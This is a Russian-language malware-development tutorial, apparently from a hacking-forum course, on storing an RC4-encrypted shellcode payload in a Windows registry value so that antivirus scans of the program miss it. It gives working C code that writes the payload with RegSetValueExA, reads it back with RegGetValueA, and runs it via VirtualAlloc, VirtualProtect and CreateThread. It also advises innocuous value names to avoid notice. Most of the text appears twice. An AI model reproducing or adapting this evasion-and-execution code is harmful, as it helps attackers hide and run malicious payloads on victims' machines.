Прячем Payload в реестре
В общем из предыдущих уроков мы с вами знаем, что payload не обязательно должен храниться внутри вредоносной программы.
Вместо этого payload может быть получен во время выполнения вредоносной программы. В этой статье будет показана похожая техника, только payload будет записан в качестве значения ключа реестра и извлечен из реестра при необходимости.
Так как payload будет храниться в реестре, при сканировании вредоносной программы системами безопасности они не смогут обнаружить или найти payload внутри.
Код в этой статье разделен на две части. Первая часть записывает зашифрованный payload в ключ реестра. Вторая часть считывает payload из того же ключа реестра, расшифровывает его и выполняет.
В статье не будет объясняться процесс шифрования/расшифрования, так как это было объяснено в предыдущих уроках.
Также мы будем использовать условную компиляцию
Условная Компиляция
Условная компиляция - это способ включать код в проект, который компилятор либо будет компилировать, либо не будет.
Две ниже приведенные секции предоставляют базовый код, для понимания как будут написаны операции чтения и записи с использованием условной компиляции.
Операция записи
	
	
	
		
Операция чтения
	
	
	
		
Запись в реестр
Этот раздел расскажет о функции WriteShellcodeToRegistry. Функция принимает два параметра:
pShellcode - Payload для записи.
dwShellcodeSize - Размер записываемого payload.
REGISTRY & REGSTRING
Код начинается с двух предопределенных констант REGISTRY и REGSTRING, которые устанавливаются на Control Panel и Ru-SferaPW соответственно.
	
	
	
		
REGISTRY - это имя ключа реестра, который будет содержать payload.
Полный путь REGISTRY будет такой Computer\HKEY_CURRENT_USER\Control Panel.
		
	
То, что функция будет делать программно, - это создание нового значения строки под этим ключом реестра для хранения payload.
REGSTRING — это имя создаваемого значения строки. Очевидно, что в реальной ситуации стоит использовать более реалистичное значение, такое как PanelUpdateService или AppSnapshot.
		
	
Открытие дескриптора для ключа реестра
Используется WinAPI функция RegOpenKeyExA для открытия дескриптора к указанному ключу реестра. Это необходимо для создания, редактирования или удаления значений в ключе реестра.
Функция RegOpenKeyExA:
	
	
	
		
Четвертый параметр RegOpenKeyExA определяет права доступа к ключу реестра. Так как программа должна создать значение в ключе реестра, выбрано KEY_SET_VALUE. Полный список прав доступа к реестру можно найти в документации Microsoft.
	
	
	
		
Установка значения реестра
Далее используется функция WinAPI RegSetValueExA, которая принимает открытый дескриптор из RegOpenKeyExA и создает новое значение на основе второго параметра, REGSTRING. Она также записывает payload в только что созданное значение.
Функция RegSetValueExA:
	
	
	
		
Также стоит отметить, что четвертый параметр определяет тип данных для значения реестра. В этом случае он установлен на REG_BINARY, так как payload представляет собой просто список байтов. Полный список типов данных можно найти в документации Microsoft.
	
	
	
		
Закрытие дескриптора ключа реестра
Наконец, используется RegCloseKey для закрытия дескриптора ключа реестра, который был открыт.
Функция RegCloseKey:
	
	
	
		
Запись в реестр
	
	
	
		
Чтение из реестра
Теперь, когда payload записан в строковое значение RuSferaPw внутри ключа реестра Computer\HKEY_CURRENT_USER\Control Panel, пришло время написать другую реализацию, которая будет считывать это значение в реестре и запускать PayLoad.
Этот раздел расскажет о функции ReadShellcodeFromRegistry (показанной ниже).
Функция принимает два параметра:
sPayloadSize - Размер payload, который нужно прочитать.
ppPayload - Буфер, в котором будет храниться полученный payload.
Выделение памяти
Функция начинает с выделения памяти размером sPayloadSize, в которой будет храниться payload.
	
	
	
		
Чтение значения из реестра
Функция RegGetValueA требует указания ключа реестра и значения, которое нужно прочитать, которыми являются REGISTRY и REGSTRING соответственно.
В предыдущей статье можно было получать payload из интернета в нескольких частях любого размера, однако при работе с RegGetValueA это невозможно, так как функция не читает байты как поток данных, а скорее целиком.
Все это означает, что знание размера payload является обязательным при реализации чтения.
	
	
	
		
Четвертый параметр может быть использован для ограничения типа данных, однако эта реализация использует RRF_RT_ANY, что означает любой тип данных. В качестве альтернативы можно было бы использовать RRF_RT_REG_BINARY, так как payload представляет собой двоичные данные. Наконец, payload считывается в pBytes, который был ранее выделен с использованием HeapAlloc.
	
	
	
		
Исполнение Payload
После того как payload прочитан из реестра и сохранен в выделенном буфере, используется функция RunShellcode для его исполнения. Обратите внимание, что эта функция была описана в предыдущих модулях.
	
	
	
		
Запись в реестр - Демо
До запуска скомпилированного кода, показанного выше, ключ реестра выглядит следующим образом:
		
	
После запуска программы создается новое строковое значение реестра с payload, зашифрованным с помощью RC4.
		
	
		
	
Чтение из реестра - Демо
Программа начинает с чтения зашифрованного payload из реестра.
		
	
Далее программа будет расшифровывать payload.
		
	
И, наконец, расшифрованный payload исполняется.
		
	
					
										
					
						Вместо этого payload может быть получен во время выполнения вредоносной программы. В этой статье будет показана похожая техника, только payload будет записан в качестве значения ключа реестра и извлечен из реестра при необходимости.
Так как payload будет храниться в реестре, при сканировании вредоносной программы системами безопасности они не смогут обнаружить или найти payload внутри.
Код в этой статье разделен на две части. Первая часть записывает зашифрованный payload в ключ реестра. Вторая часть считывает payload из того же ключа реестра, расшифровывает его и выполняет.
В статье не будет объясняться процесс шифрования/расшифрования, так как это было объяснено в предыдущих уроках.
Также мы будем использовать условную компиляцию
Условная Компиляция
Условная компиляция - это способ включать код в проект, который компилятор либо будет компилировать, либо не будет.
Две ниже приведенные секции предоставляют базовый код, для понимания как будут написаны операции чтения и записи с использованием условной компиляции.
Операция записи
		C:
	
	#define WRITEMODE // Код, который будет скомпилирован в случае если нужно записать данные в реестр
// если определено 'WRITEMODE'
#ifdef WRITEMODE
    // Код, необходимый для записи payload в реестр
#endif
#ifdef READMODE // Код, который НЕ будет скомпилирован
#endif
	Операция чтения
		C:
	
	#define READMODE // Код, который будет скомпилирован в случае если нужно считать данные из реестра
// если определено 'READMODE'
#ifdef READMODE
    // Код, необходимый для чтения payload из реестра
#endif
#ifdef WRITEMODE // Код, который НЕ будет скомпилирован
#endif
	Запись в реестр
Этот раздел расскажет о функции WriteShellcodeToRegistry. Функция принимает два параметра:
pShellcode - Payload для записи.
dwShellcodeSize - Размер записываемого payload.
REGISTRY & REGSTRING
Код начинается с двух предопределенных констант REGISTRY и REGSTRING, которые устанавливаются на Control Panel и Ru-SferaPW соответственно.
		C:
	
	// Ключ реестра для чтения/записи
#define REGISTRY "Control Panel"
#define REGSTRING "RuSferaPW"
	REGISTRY - это имя ключа реестра, который будет содержать payload.
Полный путь REGISTRY будет такой Computer\HKEY_CURRENT_USER\Control Panel.
То, что функция будет делать программно, - это создание нового значения строки под этим ключом реестра для хранения payload.
REGSTRING — это имя создаваемого значения строки. Очевидно, что в реальной ситуации стоит использовать более реалистичное значение, такое как PanelUpdateService или AppSnapshot.
Открытие дескриптора для ключа реестра
Используется WinAPI функция RegOpenKeyExA для открытия дескриптора к указанному ключу реестра. Это необходимо для создания, редактирования или удаления значений в ключе реестра.
Функция RegOpenKeyExA:
		C:
	
	LSTATUS RegOpenKeyExA(
  [in]           HKEY   hKey,              // Дескриптор открытого ключа реестра
  [in, optional] LPCSTR lpSubKey,          // Имя открываемого подключа реестра (константа REGISTRY)
  [in]           DWORD  ulOptions,          // Опции при открытии ключа - Установлено в 0
  [in]           REGSAM samDesired,          // Права доступа
  [out]          PHKEY  phkResult          // Указатель на переменную, которая получает дескриптор открытого ключа
);
	Четвертый параметр RegOpenKeyExA определяет права доступа к ключу реестра. Так как программа должна создать значение в ключе реестра, выбрано KEY_SET_VALUE. Полный список прав доступа к реестру можно найти в документации Microsoft.
		C:
	
	STATUS = RegOpenKeyExA(HKEY_CURRENT_USER, REGISTRY, 0, KEY_SET_VALUE, &hKey);
	Установка значения реестра
Далее используется функция WinAPI RegSetValueExA, которая принимает открытый дескриптор из RegOpenKeyExA и создает новое значение на основе второго параметра, REGSTRING. Она также записывает payload в только что созданное значение.
Функция RegSetValueExA:
		C:
	
	LSTATUS RegSetValueExA(
  [in]           HKEY       hKey,         // Дескриптор открытого ключа реестра
  [in, optional] LPCSTR     lpValueName,  // Имя устанавливаемого значения (константа REGSTRING)
                 DWORD      Reserved,     // Установлено в 0
  [in]           DWORD      dwType,       // Тип данных, на который указывает параметр lpData
  [in]           const BYTE *lpData,      // Данные для сохранения
  [in]           DWORD      cbData        // Размер информации, на которую указывает параметр lpData, в байтах
);
	Также стоит отметить, что четвертый параметр определяет тип данных для значения реестра. В этом случае он установлен на REG_BINARY, так как payload представляет собой просто список байтов. Полный список типов данных можно найти в документации Microsoft.
		C:
	
	STATUS = RegSetValueExA(hKey, REGSTRING, 0, REG_BINARY, pShellcode, dwShellcodeSize);
	Закрытие дескриптора ключа реестра
Наконец, используется RegCloseKey для закрытия дескриптора ключа реестра, который был открыт.
Функция RegCloseKey:
		C:
	
	LSTATUS RegCloseKey(
  [in] HKEY hKey // Дескриптор открытого ключа реестра, который будет закрыт
);
	Запись в реестр
		C:
	
	BOOL WriteShellcodeToRegistry(IN PBYTE pShellcode, IN DWORD dwShellcodeSize) {
    BOOL        bSTATE  = TRUE;
    LSTATUS     STATUS  = NULL;
    HKEY        hKey    = NULL;
    printf("[i] Запись 0x%p [ Размер: %ld ] в \"%s\\%s\" ... ", pShellcode, dwShellcodeSize, REGISTRY, REGSTRING);
    STATUS = RegOpenKeyExA(HKEY_CURRENT_USER, REGISTRY, 0, KEY_SET_VALUE, &hKey);
    if (ERROR_SUCCESS != STATUS) {
        printf("[!] Ошибка при открытии ключа RegOpenKeyExA: %d\n", STATUS);
        bSTATE = FALSE; goto _EndOfFunction;
    }
    STATUS = RegSetValueExA(hKey, REGSTRING, 0, REG_BINARY, pShellcode, dwShellcodeSize);
    if (ERROR_SUCCESS != STATUS){
        printf("[!] Ошибка при записи RegSetValueExA: %d\n", STATUS);
        bSTATE = FALSE; goto _EndOfFunction;
    }
    printf("[+] Готово ! \n");
_EndOfFunction:
    if (hKey)
        RegCloseKey(hKey);
    return bSTATE;
}
	Чтение из реестра
Теперь, когда payload записан в строковое значение RuSferaPw внутри ключа реестра Computer\HKEY_CURRENT_USER\Control Panel, пришло время написать другую реализацию, которая будет считывать это значение в реестре и запускать PayLoad.
Этот раздел расскажет о функции ReadShellcodeFromRegistry (показанной ниже).
Функция принимает два параметра:
sPayloadSize - Размер payload, который нужно прочитать.
ppPayload - Буфер, в котором будет храниться полученный payload.
Выделение памяти
Функция начинает с выделения памяти размером sPayloadSize, в которой будет храниться payload.
		C:
	
	pBytes = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sPayloadSize);
	Чтение значения из реестра
Функция RegGetValueA требует указания ключа реестра и значения, которое нужно прочитать, которыми являются REGISTRY и REGSTRING соответственно.
В предыдущей статье можно было получать payload из интернета в нескольких частях любого размера, однако при работе с RegGetValueA это невозможно, так как функция не читает байты как поток данных, а скорее целиком.
Все это означает, что знание размера payload является обязательным при реализации чтения.
		C:
	
	LSTATUS RegGetValueA(
  [in]                HKEY    hkey,     // Дескриптор открытого ключа реестра
  [in, optional]      LPCSTR  lpSubKey, // Путь к ключу реестра относительно ключа, указанного в параметре hkey
  [in, optional]      LPCSTR  lpValue,  // Имя значения в реестре
  [in, optional]      DWORD   dwFlags,  // Флаги, которые ограничивают тип данных значения, которое будет запрошено
  [out, optional]     LPDWORD pdwType,  // Указатель на переменную, которая получит код, указывающий тип данных, сохраненных в указанном значении
  [out, optional]     PVOID   pvData,   // Указатель на буфер, который получит данные значения
  [in, out, optional] LPDWORD pcbData   // Указатель на переменную, которая определяет размер буфера, на который указывает параметр pvData, в байтах
);
	Четвертый параметр может быть использован для ограничения типа данных, однако эта реализация использует RRF_RT_ANY, что означает любой тип данных. В качестве альтернативы можно было бы использовать RRF_RT_REG_BINARY, так как payload представляет собой двоичные данные. Наконец, payload считывается в pBytes, который был ранее выделен с использованием HeapAlloc.
		C:
	
	STATUS = RegGetValueA(HKEY_CURRENT_USER, REGISTRY, REGSTRING, RRF_RT_ANY, NULL, pBytes, &dwBytesRead);
	Исполнение Payload
После того как payload прочитан из реестра и сохранен в выделенном буфере, используется функция RunShellcode для его исполнения. Обратите внимание, что эта функция была описана в предыдущих модулях.
		C:
	
	BOOL RunShellcode(IN PVOID pDecryptedShellcode, IN SIZE_T sDecryptedShellcodeSize) {
    PVOID pShellcodeAddress = NULL;
    DWORD dwOldProtection   = NULL;
    // Выделение виртуальной памяти для исполняемого payload
    pShellcodeAddress = VirtualAlloc(NULL, sDecryptedShellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (pShellcodeAddress == NULL) {
        printf("[!] Ошибка при выделении памяти VirtualAlloc: %d \n", GetLastError());
        return FALSE;
    }
    printf("[i] Выделенная память по адресу: 0x%p \n", pShellcodeAddress);
    // Копирование расшифрованного payload в выделенный адрес
    memcpy(pShellcodeAddress, pDecryptedShellcode, sDecryptedShellcodeSize);
    // Обнуление исходного расшифрованного payload
    memset(pDecryptedShellcode, '\0', sDecryptedShellcodeSize);
    // Изменение прав доступа к памяти для обеспечения возможности выполнения
    if (!VirtualProtect(pShellcodeAddress, sDecryptedShellcodeSize, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
        printf("[!] Ошибка при изменении прав доступа VirtualProtect: %d \n", GetLastError());
        return FALSE;
    }
    printf("[#] Нажмите <Enter>, чтобы запустить ... ");
    getchar();
    // Создание потока для исполнения payload
    if (CreateThread(NULL, NULL, pShellcodeAddress, NULL, NULL, NULL) == NULL) {
        printf("[!] Ошибка при создании потока CreateThread: %d \n", GetLastError());
        return FALSE;
    }
    return TRUE;
}
	Запись в реестр - Демо
До запуска скомпилированного кода, показанного выше, ключ реестра выглядит следующим образом:
После запуска программы создается новое строковое значение реестра с payload, зашифрованным с помощью RC4.
Чтение из реестра - Демо
Программа начинает с чтения зашифрованного payload из реестра.
Далее программа будет расшифровывать payload.
И, наконец, расшифрованный payload исполняется.
	